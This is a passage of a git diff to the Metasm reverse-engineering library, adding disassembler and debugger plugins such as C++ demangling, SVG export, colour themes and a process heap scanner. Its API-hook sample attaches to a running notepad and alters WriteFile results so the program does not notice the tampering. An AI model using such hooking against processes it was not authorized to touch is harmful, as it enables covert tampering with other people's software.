outfilename(lnk) Txt2Html.new(lnk) - on << Html::A.new(@pathfix + tg, File.basename(lnk, '.txt').tr('_', ' ')) + on << Html::A.new(@pathfix + tg, File.basename(lnk, '.txt').tr('_', ' ').gsub(' ', '_')) when 'jpg', 'png' on << Html::Img.new(lnk) end else + on << Html::A.new(lnk, lnk) if lnk =~ /\.txt$/ @@seen_nofile ||= [] if not @@seen_nofile.include? lnk @@seen_nofile << lnk puts "reference to missing #{lnk.inspect}" end + on.last.hclass('brokenlink') end - on << Html::A.new(lnk, lnk) end end on << s diff --git a/lib/metasm/samples/bindiff.rb b/lib/metasm/samples/bindiff.rb index b2a6a9c696..5a49df0de1 100644 --- a/lib/metasm/samples/bindiff.rb +++ b/lib/metasm/samples/bindiff.rb @@ -294,7 +294,6 @@ class BinDiffWidget < Gui::DrawableWidget set_status('match funcs') { # refine the layout matching with actual function matching already_matched = [] - match_score = {} layout_match.each { |f1, list| puts "matching #{Expression[f1]}" if $VERBOSE begin @@ -429,8 +428,8 @@ end # show in window 1 the match of the function found in win 2 def sync1 c2 = curfunc2 - if a1 = match_funcs.find { |k, (a2, s)| a2 == c2 } - @dasm1.gui.focus_addr(a1[0]) + if a1 = match_funcs.find_key { |k| match_funcs[k][0] == c2 } + @dasm1.gui.focus_addr(a1) end end diff --git a/lib/metasm/samples/compilation-steps.rb b/lib/metasm/samples/compilation-steps.rb index 164d638e14..5246367f82 100644 --- a/lib/metasm/samples/compilation-steps.rb +++ b/lib/metasm/samples/compilation-steps.rb @@ -16,9 +16,10 @@ OptionParser.new { |opt| opt.on('-D var=val', 'define a preprocessor macro') { |v| v0, v1 = v.split('=', 2) ; opts[:macros][v0] = v1 } opt.on('-v') { $VERBOSE = true } opt.on('-d') { $VERBOSE = $DEBUG = true } + opt.on('-e src') { |s| opts[:src] = s } }.parse!(ARGV) -src = ARGV.empty? ? < hex RRGGBB + :base03 => '002b36', + :base02 => '073642', + :base01 => '586e75', + :base00 => '657b83', + :base0 => '839496', + :base1 => '93a1a1', + :base2 => 'eee8d5', + :base3 => 'fdf6e3', + :yellow => 'b58900', + :orange => 'cb4b16', + :red => 'dc322f', + :magenta => 'd33682', + :violet => '6c71c4', + :blue => '268bd2', + :cyan => '2aa198', + :green => '859900', + + # personnal additions for more contrast + :base0C => '094048', + :base0D => '00151b', + + :black => '002b36', # base03 + :white => '93a1a1', # base1 + + :yellow_bg => '5a591b',# approx mean with black + manual tweak + :orange_bg => '553a16', + :red_bg => '461b1d', + :magenta_bg => '69305c', + :violet_bg => '364d7d', + :blue_bg => '135a84', + :cyan_bg => '156567', + :green_bg => '16510b', + } + + # all widget's colorscheme inherits from this one + # this is the dark background theme. For light background, change + # all 'baseX' into 'base0X' and 'base0X' into 'baseX'. + default = { + :background => :black, + :text => :white, + :instruction => :white, + :cursorline_bg => :base02, + :comment => :base01, + :caret => :base0, + :label => :violet, + :address => :blue, + :hl_word_bg => :white, + :hl_word => :black, + } + + specific = { + # widget name => colortheme + # unspecified colors are taken from 'default' + # still unspecified colors are left unchanged + :listing => { + :raw_data => :white, + :arrows_bg => :base02, + :arrow_up => :cyan, + :arrow_dn => :blue, + :arrow_hl => :orange, + }, + + :opcodes => { + :raw_data => :white, + }, + + :decompile => { + :keyword => :blue, + :localvar => :red, + :globalvar => :green, + :intrinsic => :yellow, + }, + + :coverage => { + :code => :red, + :data => :blue, + :caret => :yellow, + :caret_col => :green, + }, + + :graph => { + :background => :base0D, + :hlbox_bg => :base02, + :box_bg => :base03, + :cursorline_bg => :base03, + :arrow_cond => :green, + :arrow_uncond => :cyan, + :arrow_direct => :blue, + :arrow_hl => :orange, + :box_bg_shadow => '000000', + }, + + :hex => { + :ascii => :white, + :data => :base1, + :write_pending => :red, + :caret_mirror => :base0C, + }, + } + + gui.view_indexes.each { |v| + cs = specific[v] || {} + view = gui.view(v) + # keep original view ':foo => :text' colors + legacy = view.default_color_association.dup + # but discard actual color defs (still present as fallback anyway) + legacy.delete_if { |k, c| c.kind_of?(::String) } + nca = solarized.merge(legacy).merge(default).merge(cs) + view.set_color_association(nca) + } + + true +end diff --git a/lib/metasm/samples/dasm-plugins/demangle_cpp.rb b/lib/metasm/samples/dasm-plugins/demangle_cpp.rb new file mode 100644 index 0000000000..273000d033 --- /dev/null +++ b/lib/metasm/samples/dasm-plugins/demangle_cpp.rb @@ -0,0 +1,31 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +# metasm dasm plugin: try to demangle all labels as c++ names, add them as +# comment if successful + +def demangle_all_cppnames + cnt = 0 + prog_binding.each { |name, addr| + cname = name.sub(/^thunk_/, '') + if dname = demangle_cppname(cname) + cnt += 1 + add_comment(addr, dname) + each_xref(addr, :x) { |xr| + if di = di_at(xr.origin) + di.add_comment dname + di.comment.delete "x:#{name}" + end + } + end + } + cnt +end + +if gui + demangle_all_cppnames + gui.gui_update +end diff --git a/lib/metasm/samples/dasm-plugins/deobfuscate.rb b/lib/metasm/samples/dasm-plugins/deobfuscate.rb index 21e8f885cc..4f9d988ab7 100644 --- a/lib/metasm/samples/dasm-plugins/deobfuscate.rb +++ b/lib/metasm/samples/dasm-plugins/deobfuscate.rb @@ -204,7 +204,7 @@ def self.newinstr_callback(dasm, di) dasm.replace_instrs(unused.first.address, unused.first.address, []) if not unused.empty? # patch the dasm graph - if dasm.replace_instrs(lastdi.address, di.address, newinstrs) + if dasm.replace_instrs(lastdi.address, di.address, newinstrs, true) puts ' deobfuscate', di_seq, ' into', newinstrs, ' ---' if $DEBUG # recurse, keep the last generated di to return to caller as replacement newinstrs.each { |bdi| di = newinstr_callback(dasm, bdi) || di } diff --git a/lib/metasm/samples/dasm-plugins/export_graph_svg.rb b/lib/metasm/samples/dasm-plugins/export_graph_svg.rb new file mode 100644 index 0000000000..1dec3e46b4 --- /dev/null +++ b/lib/metasm/samples/dasm-plugins/export_graph_svg.rb @@ -0,0 +1,86 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +# metasm dasm plugin: create a function to export the currently displayed +# dasm graph to a .svg file +# in the gui, type E to export. Tested only for graph-style view, *may* work in other cases + +raise 'gui only' if not gui + +def graph_to_svg + gw = gui.curview.dup + class << gw + attr_accessor :svgbuf, :svgcol + def draw_color(col) + col = @default_color_association.fetch(col, col) + col = BasicColor.fetch(col, col) + @svgcol = "##{col}" + end + + def draw_line(x1, y1, x2, y2) + bb(x1, y1, x2, y2) + svgbuf << %Q{\n} + end + def draw_rectangle(x, y, w, h) + bb(x, y, x+w, y+h) + svgbuf << %Q{\n} + end + def draw_string(x, y, str) + bb(x, y, x+str.length*@font_width, y+@font_height) + stre = str.gsub('<', '<').gsub('>', '>') + svgbuf << %Q{#{stre}\n} + end + + def draw_rectangle_color(c, *a) + draw_color(c) + draw_rectangle(*a) + end + def draw_line_color(c, *a) + draw_color(c) + draw_line(*a) + end + def draw_string_color(c, *a) + draw_color(c) + draw_string(*a) + end + + def focus?; false; end + def view_x; @svgvx ||= @curcontext.boundingbox[0]-20; end + def view_y; @svgvy ||= @curcontext.boundingbox[1]-20; end + def width; @svgvw ||= (@curcontext ? (@curcontext.boundingbox[2]-@curcontext.boundingbox[0])*@zoom+20 : 800); end + def height; @svgvh ||= (@curcontext ? (@curcontext.boundingbox[3]-@curcontext.boundingbox[1])*@zoom+20 : 600); end + def svgcuraddr; @curcontext ? @curcontext.root_addrs.first : current_address; end + + # drawing bounding box (for the background rectangle) + attr_accessor :bbx, :bby, :bbxm, :bbym + def bb(x1, y1, x2, y2) + @bbx = [x1, x2, @bbx].compact.min + @bbxm = [x1, x2, @bbxm].compact.max + @bby = [y1, y2, @bby].compact.min + @bbym = [y1, y2, @bbym].compact.max + end + end + ret = gw.svgbuf = '' + gw.paint + + ret[0, 0] = < + + +Graph of #{get_label_at(gw.svgcuraddr) || Expression[gw.svgcuraddr]} +" +EOS + ret << %Q{} +end + +gui.keyboard_callback[?E] = lambda { |*a| + gui.savefile('svg target') { |f| + svg = graph_to_svg + File.open(f, 'w') { |fd| fd.write svg } + } + true +} diff --git a/lib/metasm/samples/dasm-plugins/hl_opcode.rb b/lib/metasm/samples/dasm-plugins/hl_opcode.rb index 80aa068860..3552f1db6d 100644 --- a/lib/metasm/samples/dasm-plugins/hl_opcode.rb +++ b/lib/metasm/samples/dasm-plugins/hl_opcode.rb @@ -6,18 +6,22 @@ # metasm dasm GUI plugin: hilight lines of code based on the opcode name if gui - @gui_opcode_color = { 'call' => '8f8', 'jmp' => 'faa', 'jcc' => 'fc8' } + @gui_opcode_color = { + :call => :green_bg, + :jmp => :red_bg, + :jcc => :orange_bg, + } obg = gui.bg_color_callback # chain old callback gui.bg_color_callback = lambda { |a| if di = di_at(a) and pr = di.opcode.props if pr[:saveip] and (@function[di.block.to_normal.to_a.first] or di.block.to_subfuncret.to_a.first) # don't color call+pop - @gui_opcode_color['call'] + @gui_opcode_color[:call] elsif pr[:stopexec] - @gui_opcode_color['jmp'] + @gui_opcode_color[:jmp] elsif pr[:setip] - @gui_opcode_color['jcc'] + @gui_opcode_color[:jcc] else obg[a] if obg end diff --git a/lib/metasm/samples/dasm-plugins/imm2off.rb b/lib/metasm/samples/dasm-plugins/imm2off.rb new file mode 100644 index 0000000000..a7d328efb1 --- /dev/null +++ b/lib/metasm/samples/dasm-plugins/imm2off.rb @@ -0,0 +1,34 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +# metasm dasm plugin +# walks all disassembled instructions referencing an address +# if the address is a label, update the instruction to use the label +# esp. useful after a disassemble_fast, with a .map file + +def addrtolabel + bp = prog_binding.invert + @decoded.each_value { |di| + next if not di.kind_of?(DecodedInstruction) + di.each_expr { |e| + next unless e.kind_of?(Expression) + if l = bp[e.lexpr] + add_xref(e.lexpr, Xref.new(:addr, di.address)) + e.lexpr = Expression[l] + end + if l = bp[e.rexpr] + add_xref(e.rexpr, Xref.new(:addr, di.address)) + e.rexpr = (e.lexpr ? Expression[l] : l) + end + } + } + nil +end + +if gui + addrtolabel + gui.gui_update +end diff --git a/lib/metasm/samples/dasm-plugins/match_libsigs.rb b/lib/metasm/samples/dasm-plugins/match_libsigs.rb index f6514e4ba9..682d8b66d0 100644 --- a/lib/metasm/samples/dasm-plugins/match_libsigs.rb +++ b/lib/metasm/samples/dasm-plugins/match_libsigs.rb @@ -31,8 +31,8 @@ def initialize(file) @siglenmax = @sigs.values.map { |v| v.length }.max # compile a giant regex from the signatures - re = @sigs.values.uniq.map { |sig| - sig.gsub(/../) { |b| b == '..' ? '.' : ('\\x' + b) } + re = @sigs.values.uniq.map { |sigh| + sigh.gsub(/../) { |b| b == '..' ? '.' : ('\\x' + b) } }.join('|') # 'n' is a magic flag to allow high bytes in the regex (ruby1.9 + utfail) diff --git a/lib/metasm/samples/dasm-plugins/namelocalvars.rb b/lib/metasm/samples/dasm-plugins/namelocalvars.rb deleted file mode 100644 index 78f36d7c06..0000000000 --- a/lib/metasm/samples/dasm-plugins/namelocalvars.rb +++ /dev/null @@ -1,35 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -# metasm dasm plugin: replace instances of [ebp-42] with [ebp+var_42] for the current function -# (x86 only) -def namelocalvars(addr) - vars = [] - each_function_block(addr) { |a| - decoded[a].block.list.each { |di| - di.instruction.args.grep(Ia32::ModRM).each { |mrm| - next if mrm.s or not mrm.b or mrm.b.symbolic != :ebp - next if not i = mrm.imm or not i = i.reduce or not i.kind_of? Integer - # after our substitution get_bt_bind will return invalid data - # XXX probably breaks decompilation - di.backtrace_binding ||= cpu.get_backtrace_binding(di) - n = i > 0 ? "arg_#{i.to_s(16)}" : "var_#{(-i).to_s(16)}" - mrm.imm = Expression[n] - vars << n - } - } - } - vars.uniq.sort_by { |n| [n[0, 4], n[4..-1].to_i(16)] } -end - -if gui - gui.keyboard_callback[?L] = lambda { - puts namelocalvars(gui.curaddr).join(', ') - gui.gui_update - true - } - gui.keyboard_callback[?L][] -end diff --git a/lib/metasm/samples/dasm-plugins/patch_file.rb b/lib/metasm/samples/dasm-plugins/patch_file.rb index 92304026b9..694f4930ac 100644 --- a/lib/metasm/samples/dasm-plugins/patch_file.rb +++ b/lib/metasm/samples/dasm-plugins/patch_file.rb @@ -13,7 +13,7 @@ def backup_program_file if File.exist?(f) and not File.exist?(f + '.bak') File.open(f + '.bak', 'wb') { |wfd| File.open(f, 'rb') { |rfd| - while buf = rfd.read(1<<16) + while buf = rfd.read(1024*1024) wfd.write buf end } diff --git a/lib/metasm/samples/dasm-plugins/scanfuncstart.rb b/lib/metasm/samples/dasm-plugins/scanfuncstart.rb index 67e8f0ea6d..9c2efb65f0 100644 --- a/lib/metasm/samples/dasm-plugins/scanfuncstart.rb +++ b/lib/metasm/samples/dasm-plugins/scanfuncstart.rb @@ -14,7 +14,7 @@ def scanfuncstart(addr) fs = find_function_start(addr) return fs if fs != addr end - edata, s_name = get_section_at(addr) + edata = get_edata_at(addr) if o = (1..1000).find { |off| @decoded[addr-off-1] or edata.data[edata.ptr-off-1] == ?\xcc or @@ -27,7 +27,7 @@ def scanfuncstart(addr) end if gui - gui.keyboard_callback_ctrl[?P] = lambda { + gui.keyboard_callback_ctrl[?P] = lambda { |*a| if o = scanfuncstart(gui.curaddr) gui.focus_addr(o) end diff --git a/lib/metasm/samples/dasm-plugins/scanxrefs.rb b/lib/metasm/samples/dasm-plugins/scanxrefs.rb index 2ac5c3c2b5..e90803c4ce 100644 --- a/lib/metasm/samples/dasm-plugins/scanxrefs.rb +++ b/lib/metasm/samples/dasm-plugins/scanxrefs.rb @@ -17,7 +17,7 @@ def scanxrefs(target) ans end -gui.keyboard_callback[?X] = lambda { +gui.keyboard_callback[?X] = lambda { |*a| target = gui.curaddr ans = scanxrefs(target) list = [['addr']] + ans.map { |off| [Expression[off].to_s] } diff --git a/lib/metasm/samples/dasm-plugins/stringsxrefs.rb b/lib/metasm/samples/dasm-plugins/stringsxrefs.rb new file mode 100644 index 0000000000..14f9efde46 --- /dev/null +++ b/lib/metasm/samples/dasm-plugins/stringsxrefs.rb @@ -0,0 +1,28 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +# metasm dasm plugin +# walks all disassembled instructions referencing an address +# if this address points a C string, show that in the instruction comments +# esp. useful after a disassemble_fast + +def stringsxrefs(maxsz = 32) + @decoded.each_value { |di| + next if not di.kind_of?(DecodedInstruction) + di.instruction.args.grep(Expression).each { |e| + if str = decode_strz(e) and str.length >= 4 and str =~ /^[\x20-\x7e]*$/ + di.add_comment str[0, maxsz].inspect + add_xref(normalize(e), Xref.new(:r, di.address, 1)) + end + } + } + nil +end + +if gui + stringsxrefs + gui.gui_update +end diff --git a/lib/metasm/samples/dasmnavig.rb b/lib/metasm/samples/dasmnavig.rb index fdf55d069a..8c59eb0e83 100644 --- a/lib/metasm/samples/dasmnavig.rb +++ b/lib/metasm/samples/dasmnavig.rb @@ -115,7 +115,7 @@ class Viewer $stdout.write Ansi::ClearScreen begin loop do - refresh if not s = IO.select([$stdin], nil, nil, 0) + refresh if not IO.select([$stdin], nil, nil, 0) handle_key(Ansi.getkey) end ensure diff --git a/lib/metasm/samples/dbg-apihook.rb b/lib/metasm/samples/dbg-apihook.rb index da800a082a..02b8c1447a 100644 --- a/lib/metasm/samples/dbg-apihook.rb +++ b/lib/metasm/samples/dbg-apihook.rb @@ -17,6 +17,8 @@ require 'metasm' class ApiHook + attr_accessor :dbg + # rewrite this function to list the hooks you want # return an array of hashes def setup @@ -33,19 +35,31 @@ class ApiHook raise 'no such process' if not process dbg = process.debugger end - dbg.loadallsyms @dbg = dbg - setup.each { |h| setup_hook(h) } - init_prerun if respond_to?(:init_prerun) # allow subclass to do stuff before main loop - @dbg.run_forever + begin + setup.each { |h| setup_hook(h) } + init_prerun if respond_to?(:init_prerun) # allow subclass to do stuff before main loop + @dbg.run_forever + rescue Interrupt + @dbg.detach #rescue nil + end end # setup one function hook def setup_hook(h) + @las ||= false + if not h[:lib] and not @las + @dbg.loadallsyms + @las = false + elsif h[:lib] + # avoid loadallsyms if specified (regexp against pathname, not exported lib name) + @dbg.loadsyms(h[:lib]) + end + pre = "pre_#{h[:hookname] || h[:function]}" post = "post_#{h[:hookname] || h[:function]}" - @nargs = h[:nargs] || method(pre).arity if respond_to?(pre) + nargs = h[:nargs] || method(pre).arity if respond_to?(pre) if target = h[:address] elsif target = h[:rva] @@ -56,7 +70,8 @@ class ApiHook target = h[:function] end - @dbg.bpx(target) { + @dbg.bpx(target, false, h[:condition]) { + @nargs = nargs catch(:finish) { @cur_abi = h[:abi] @ret_longlong = h[:ret_longlong] @@ -206,7 +221,8 @@ class MyHook < ApiHook #patch_retval(42) # finish messing with the args: fake the nrofbyteswritten - handle, pbuf, size, pwritten, overlap = arglistcopy + #handle, pbuf, size, pwritten, overlap = arglistcopy + size, pwritten = arglistcopy.values_at(2, 3) written = @dbg.memory_read_int(pwritten) if written == size # if written everything, patch the value so that the program dont detect our intervention @@ -217,8 +233,7 @@ class MyHook < ApiHook end end -# name says it all -Metasm::WinOS.get_debug_privilege +Metasm::OS.current.get_debug_privilege if Metasm::OS.current.respond_to? :get_debug_privilege # run our Hook engine on a running 'notepad' instance MyHook.new('notepad') diff --git a/lib/metasm/samples/dbg-plugins/heapscan.rb b/lib/metasm/samples/dbg-plugins/heapscan.rb new file mode 100644 index 0000000000..ad40fa2522 --- /dev/null +++ b/lib/metasm/samples/dbg-plugins/heapscan.rb @@ -0,0 +1,283 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +# metasm debugger plugin +# adds some heap_* functions to interract with the target heap chunks +# functions: +# heap_scan, scan for malloc chunks in the heaps and xrefs between them +# heap_scanstruct, scan for arrays/linkedlists in the chunk graph +# heap_chunk [addr], display a chunk +# heap_array [addr], display an array of chunks from their root +# heap_list [addr], display a linkedlist +# heap_strscan [str], scan the memory for a raw string, display chunks xrefs +# heap_snap, make a snapshot of the currently displayed structure, hilight fields change + + +# use precompiled native version when available +$heapscan_dir = File.join(File.dirname(plugin_filename).gsub('\\', '/'), 'heapscan') +require File.join($heapscan_dir, 'heapscan') + +fname = case OS.current.shortname +when 'linos' + 'compiled_heapscan_lin' +when 'winos' + case OS.current.version[0] + when 5; 'compiled_heapscan_win' + when 6; 'compiled_heapscan_win7' + end +end +fname = File.join($heapscan_dir, fname) +if not File.exist?(fname + '.so') and File.exist?(fname + '.c') + puts "compiling native scanner..." + exe = DynLdr.host_exe.compile_c_file(DynLdr.host_cpu, fname + '.c') + DynLdr.compile_binary_module_hack(exe) + exe.encode_file(fname + '.so', :lib) +end +require fname if File.exist?(fname + '.so') + +def heapscan_time(s='') + @heapscan_time ||= nil + t = Time.now + log s + ' %.2fs' % (t-@heapscan_time) if @heapscan_time and s != '' + @heapscan_time = t + Gui.main_iter if gui +end + +def heap; @heap ; end +def heap=(h) ; @heap = h ; end + +def heapscan_scan(xr=true) + heaps = [] + mmaps = [] + libc = nil + pr = os_process + pr.mappings.each { |a, l, p, f| + case f.to_s + when /heap/ + heaps << [a, l] + when /libc[^a-zA-Z]/ + libc ||= a if p == 'r-xp' + when '' + mmaps << [a, l] + end + } + + heapscan_time '' + @disassembler.parse_c '' + if pr and OS.current.name =~ /winos/i + if OS.current.version[0] == 5 + @heap = WindowsHeap.new(self) + @heap.cp = @disassembler.c_parser + @heap.cp.parse_file File.join($heapscan_dir, 'winheap.h') unless @heap.cp.toplevel.struct['_HEAP'] + else + @heap = Windows7Heap.new(self) + @heap.cp = @disassembler.c_parser + @heap.cp.parse_file File.join($heapscan_dir, 'winheap7.h') unless @heap.cp.toplevel.struct['_HEAP'] + end + @heap.heaps = heaps + else + @heap = LinuxHeap.new(self) + @heap.cp = @disassembler.c_parser + @heap.mmaps = mmaps + @heap.scan_libc(libc) + heapscan_time "libc!main_arena #{'%x' % @heap.main_arena_ptr}" + end + + hsz = 0 + (heaps + mmaps).each { |a, l| + hsz += l + @heap.range.update a => l + } + + log "#{hsz/1024/1024}M heap" + + @heap.scan_chunks + heapscan_time "#{@heap.chunks.length} chunks" + return if not xr + + @heap.scan_chunks_xr + heapscan_time "#{@heap.xrchunksto.length} src, #{@heap.xrchunksfrom.length} dst" +end + +def heapscan_structs + heapscan_time + @heap.bucketize + heapscan_time "#{@heap.buckets.length} buckets" + + @heap.find_arrays + heapscan_time "#{@heap.allarrays.length} arrays (#{@heap.allarrays.flatten.length} elems)" + + @heap.find_linkedlists + heapscan_time "#{@heap.alllists.length} lists (#{@heap.alllists.flatten.length} elems)" +end + +def heapscan_kernels + heapscan_time + @heap.find_kernels + heapscan_time "#{@heap.kernels.length} kernels" +end + +def heapscan_roots + heapscan_time + @heap.find_roots + heapscan_time "#{@heap.roots.length} roots" +end + +def heapscan_graph + heapscan_time + @heap.dump_graph + heapscan_time 'graph.gv' +end + +def gui_show_list(addr) + a = resolve(addr) + #@heap.cp.parse("struct ptr { void *ptr; };") if not @heap.cp.toplevel.struct['ptr'] + h = @heap.linkedlists[a] + off = h.keys.first + lst = h[off] + + if not st = lst.map { |l| @heap.chunk_struct[l] }.compact.first + st = Metasm::C::Struct.new + st.name = "list_#{'%x' % lst.first}" + st.members = [] + (@heap.chunks[lst.first] / 4).times { |i| + n = "u#{i}" + t = Metasm::C::BaseType.new(:int) + if i == off/4 + n = "next" + t = Metasm::C::Pointer.new(st) + end + st.members << Metasm::C::Variable.new(n, t) + } + @heap.cp.toplevel.struct[st.name] = st + end + lst.each { |l| @heap.chunk_struct[l] = st } + + $ghw.addr_struct = {} + lst.each { |aa| + $ghw.addr_struct[aa] = @heap.cp.decode_c_struct(st.name, @memory, aa) + } + gui.parent_widget.mem.focus_addr(lst.first, :graphheap) +end + +def gui_show_array(addr) + head = resolve(addr) + e = @heap.xrchunksto[head].to_a.find { |ee| @heap.arrays[ee] and @heap.arrays[ee][head] } + return if not e + lst = @heap.arrays[e][head] + + if not st = @heap.chunk_struct[head] + st = Metasm::C::Struct.new + st.name = "array_#{'%x' % head}" + st.members = [] + (@heap.chunks[head] / 4).times { |i| + n = "u#{i}" + v = @memory[head+4*i, 4].unpack('L').first + if @heap.chunks[v] + t = Metasm::C::Pointer.new(Metasm::C::BaseType.new(:void)) + else + t = Metasm::C::BaseType.new(:int) + end + st.members << Metasm::C::Variable.new(n, t) + } + @heap.cp.toplevel.struct[st.name] ||= st + end + @heap.chunk_struct[head] = st + + $ghw.addr_struct = { head => @heap.cp.decode_c_struct(st.name, @memory, head) } + + if not st = lst.map { |l| @heap.chunk_struct[l] }.compact.first + e = lst.first + st = Metasm::C::Struct.new + st.name = "elem_#{'%x' % head}" + st.members = [] + (@heap.chunks[e] / 4).times { |i| + n = "u#{i}" + v = @memory[e+4*i, 4].unpack('L').first + if @heap.chunks[v] + t = Metasm::C::Pointer.new(Metasm::C::BaseType.new(:void)) + else + t = Metasm::C::BaseType.new(:int) + end + st.members << Metasm::C::Variable.new(n, t) + } + @heap.cp.toplevel.struct[st.name] ||= st + end + lst.each { |l| @heap.chunk_struct[l] = st } + + lst.each { |aa| + $ghw.addr_struct[aa] = @heap.cp.decode_c_struct(st.name, @memory, aa) + } + gui.parent_widget.mem.focus_addr(head, :graphheap) +end + + +if gui + require File.join($heapscan_dir, 'graphheap') + $ghw = Metasm::Gui::GraphHeapWidget.new(@disassembler, gui.parent_widget.mem) + gui.parent_widget.mem.addview :graphheap, $ghw + $ghw.show if $ghw.respond_to?(:show) + + gui.new_command('heap_scan', 'scan the heap(s)') { |*a| heapscan_scan ; $ghw.heap = @heap } + gui.new_command('heap_scan_noxr', 'scan the heap(s), no xrefs') { |*a| heapscan_scan(false) ; $ghw.heap = @heap } + gui.new_command('heap_scan_xronly', 'scan the heap(s) for xrefs') { |*a| $ghw.heap.scan_chunks_xr } + gui.new_command('heap_scanstructs', 'scan the heap for arrays/lists') { |*a| heapscan_structs } + gui.new_command('heap_list', 'show a linked list') { |a| + if a.to_s != '' + gui_show_list(a) + else + l = [['addr', 'len']] + @heap.alllists.each { |al| + l << [Expression[al.first], al.length] + } + gui.listwindow('lists', l) { |*aa| gui_show_list(aa[0][0]) } + end + } + gui.new_command('heap_array', 'show an array') { |a| + if a.to_s != '' + gui_show_array(a) + else + l = [['addr', 'len']] + @heap.allarrays.each { |al| + l << [Expression[al.first], al.length] + } + gui.listwindow('arrays', l) { |*aa| gui_show_array(aa[0][0]) } + end + } + gui.new_command('heap_chunk', 'show a chunk') { |a| + a = resolve(a) + gui.parent_widget.mem.focus_addr(a, :graphheap) + $ghw.do_focus_addr(a) + } + gui.new_command('heap_strscan', 'scan a string') { |a| + sa = pattern_scan(a) + log "found #{sa.length} strings : #{sa.map { |aa| Expression[aa] }.join(' ')}" + sa.each { |aa| + next if not ck = @heap.find_chunk(aa) + log "ptr #{Expression[aa]} in chunk #{Expression[ck]} (#{Expression[@heap.chunks[ck]]}) in list #{@heap.linkedlists && @heap.linkedlists[ck] && true} in array #{@heap.arrays[ck].map { |k, v| "#{Expression[k]} (#{v.length})" }.join(', ') if @heap.arrays and @heap.arrays[ck]}" + } + } + gui.new_command('heap_ptrscan', 'scan a pointer') { |a| + a = resolve(a) + if @heap.chunks[a] + pa = @heap.xrchunksfrom[a].to_a + else + pa = pattern_scan(Expression.encode_imm(a, @cpu.size/8, @cpu.endianness)) + end + log "found #{pa.length} pointers : #{pa.map { |aa| Expression[aa] }.join(' ')}" + pa.each { |aa| + next if not ck = @heap.find_chunk(aa) + log "ptr @#{Expression[aa]} in chunk #{Expression[ck]} (#{Expression[@heap.chunks[ck]]}) in list #{@heap.linkedlists && @heap.linkedlists[ck] && true} in array #{@heap.arrays[ck].map { |k, v| "#{Expression[k]} (#{v.length})" }.join(', ') if @heap.arrays and @heap.arrays[ck]}" + } + } + + gui.new_command('heap_snap', 'snapshot the current heap struct') { |a| + $ghw.snap + } + gui.new_command('heap_snap_add', 'snapshot, ignore fields changed between now and last snap') { |a| + $ghw.snap_add + } +end diff --git a/lib/metasm/samples/dbg-plugins/heapscan/compiled_heapscan_lin.c b/lib/metasm/samples/dbg-plugins/heapscan/compiled_heapscan_lin.c new file mode 100644 index 0000000000..1ce164ee66 --- /dev/null +++ b/lib/metasm/samples/dbg-plugins/heapscan/compiled_heapscan_lin.c @@ -0,0 +1,155 @@ +#ifdef __ELF__ +asm .pt_gnu_stack rw; +#endif +typedef uintptr_t VALUE; +static VALUE const_File; +static VALUE const_LinuxHeap; +VALUE rb_ary_new(void); +VALUE rb_ary_push(VALUE, VALUE); +extern VALUE *rb_cObject __attribute__((import)); +VALUE rb_const_get(VALUE, VALUE); +void rb_define_method(VALUE, char*, VALUE(*)(), int); +VALUE rb_funcall(VALUE recv, unsigned int id, int nargs, ...); +VALUE rb_gv_get(const char*); +VALUE rb_intern(char*); +VALUE rb_ivar_get(VALUE, unsigned int); +VALUE rb_iv_get(VALUE, char*); +void *rb_method_node(VALUE, unsigned int); +VALUE rb_obj_as_string(VALUE); +VALUE rb_str_append(VALUE, VALUE); +VALUE rb_str_cat2(VALUE, const char*); +VALUE rb_str_new2(const char*); +VALUE rb_hash_aset(VALUE, VALUE, VALUE); +VALUE rb_hash_aref(VALUE, VALUE); +VALUE rb_uint2inum(VALUE); +VALUE rb_num2ulong(VALUE); +char *rb_string_value_ptr(VALUE*); + + +int printf(char*, ...); + +static VALUE heap_entry(void *heap, VALUE idx, VALUE psz) +{ + if (psz == 4) + return (VALUE)(((__int32*)heap)[idx]); + return (VALUE)(((__int64*)heap)[idx]); +} + +static VALUE m_LinuxHeap23scan_heap(VALUE self, VALUE vbase, VALUE vlen, VALUE ar) +{ + VALUE *heap; + VALUE chunks; + VALUE base = rb_num2ulong(vbase); + VALUE len = vlen >> 1; + VALUE sz, clen; + VALUE page; + VALUE psz = rb_iv_get(self, "@ptsz") >> 1; + VALUE ptr = 0; + + chunks = rb_iv_get(self, "@chunks"); + page = rb_funcall(self, rb_intern("pagecache"), 2, vbase, vlen); + heap = rb_string_value_ptr(&page); + + sz = heap_entry(heap, 1, psz); + if (heap_entry(heap, 0, psz) != 0 || (sz & 1) != 1) + return 4; + + base += 8; + + for (;;) { + clen = sz & -8; + ptr += clen/psz; + if (ptr >= len/psz || clen == 0) + break; + + sz = heap_entry(heap, ptr+1, psz); + if (sz & 1) + rb_hash_aset(chunks, rb_uint2inum(base), ((clen-psz)<<1)|1); + base += clen; + } + + rb_funcall(self, rb_intern("del_fastbin"), 1, ar); + + return 4; +} + + + +static VALUE m_LinuxHeap23scan_heap_xr(VALUE self, VALUE vbase, VALUE vlen) +{ + VALUE *heap; + VALUE chunks, xrchunksto, xrchunksfrom; + VALUE psz = rb_iv_get(self, "@ptsz") >> 1; + VALUE base = rb_num2ulong(vbase) + 2*psz; + VALUE len = vlen >> 1; + VALUE sz, clen; + VALUE page; + + chunks = rb_iv_get(self, "@chunks"); + xrchunksto = rb_iv_get(self, "@xrchunksto"); + xrchunksfrom = rb_iv_get(self, "@xrchunksfrom"); + page = rb_funcall(self, rb_intern("pagecache"), 2, vbase, vlen); + heap = rb_string_value_ptr(&page); + + sz = heap_entry(heap, 1, psz); + if (heap_entry(heap, 0, 